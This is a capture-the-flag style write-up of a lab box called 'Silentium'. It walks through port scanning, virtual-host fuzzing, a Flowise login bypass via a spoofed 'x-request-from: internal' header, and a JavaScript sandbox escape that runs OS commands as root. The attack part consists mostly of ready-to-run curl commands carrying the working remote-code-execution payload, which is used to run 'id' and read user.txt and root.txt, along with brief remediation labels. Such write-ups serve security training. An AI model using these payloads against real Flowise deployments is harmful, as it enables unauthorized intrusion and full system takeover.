Silentium
Summary
I discovered a Flowise AI-builder instance served on a hidden staging virtual hostname, bypassed its login gate by spoofing a trusted-internal HTTP header, then escaped the JavaScript execution sandbox through a prototype-chain constructor exploit. Because the Flowise process ran as the Linux root account, that single API call granted full operating-system control with no separate privilege-escalation step required.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 1
Full-range TCP scan with service and default-script detection.
$ nmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt $TARGETExact commands 2
Register the virtual hostnames for local DNS resolution.
$ echo "$TARGET silentium.htb staging.silentium.htb" | sudo tee -a /etc/hostsFuzz the Host header to surface active virtual hosts. Tune -fs to filter the default response size.
$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.silentium.htb' -mc 200,301,302 -t 50FixBlock public internet access to staging and internal-only servicesHigh
Exact commands 2
Confirm the application identity from HTTP headers and HTML title.
$ curl -si -H 'Host: staging.silentium.htb' http://$TARGET/ | grep -i 'title\|server\|flowise'Probe the Flowise REST API to confirm it is reachable and check authentication enforcement.
$ curl -si -H 'Host: staging.silentium.htb' http://$TARGET/api/v1/chatflowsExact commands 1
A 200 response listing chatflows confirms the header bypass is active. No credentials required.
$ curl -si -H 'Host: staging.silentium.htb' -H 'x-request-from: internal' http://$TARGET/api/v1/chatflowsFixRemove the x-request-from internal-caller authentication bypassCritical
Exact commands 1
Proof-of-concept: runs 'id' to confirm OS-level execution context. Replace 'id' with any OS command. The -b flag sends any session cookies from prior interaction; the x-request-from header bypasses authentication.
$ curl -sS -i -b /tmp/flowise.cookies -H 'Host: staging.silentium.htb' -H 'x-request-from: internal' -H 'Content-Type: application/json' -X POST http://$TARGET/api/v1/node-custom-function --data-binary '{"javascriptFunction":"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F(\"return process.getBuiltinModule(\\\"child_process\\\")\")();return cp.execSync(\"id\").toString().trim();});"}'FixPatch Flowise and harden or disable the custom-function execution endpointCritical
Exact commands 2
Locate and read user.txt. Returns <user.txt>.
$ curl -sS -i -b /tmp/flowise.cookies -H 'Host: staging.silentium.htb' -H 'x-request-from: internal' -H 'Content-Type: application/json' -X POST http://$TARGET/api/v1/node-custom-function --data-binary '{"javascriptFunction":"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F(\"return process.getBuiltinModule(\\\"child_process\\\")\")();return cp.execSync(\"find / -name user.txt 2>/dev/null -exec cat {} +\").toString().trim();});"}'Read root.txt. Returns <root.txt>.
$ curl -sS -i -b /tmp/flowise.cookies -H 'Host: staging.silentium.htb' -H 'x-request-from: internal' -H 'Content-Type: application/json' -X POST http://$TARGET/api/v1/node-custom-function --data-binary '{"javascriptFunction":"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F(\"return process.getBuiltinModule(\\\"child_process\\\")\")();return cp.execSync(\"cat /root/root.txt\").toString().trim();});"}'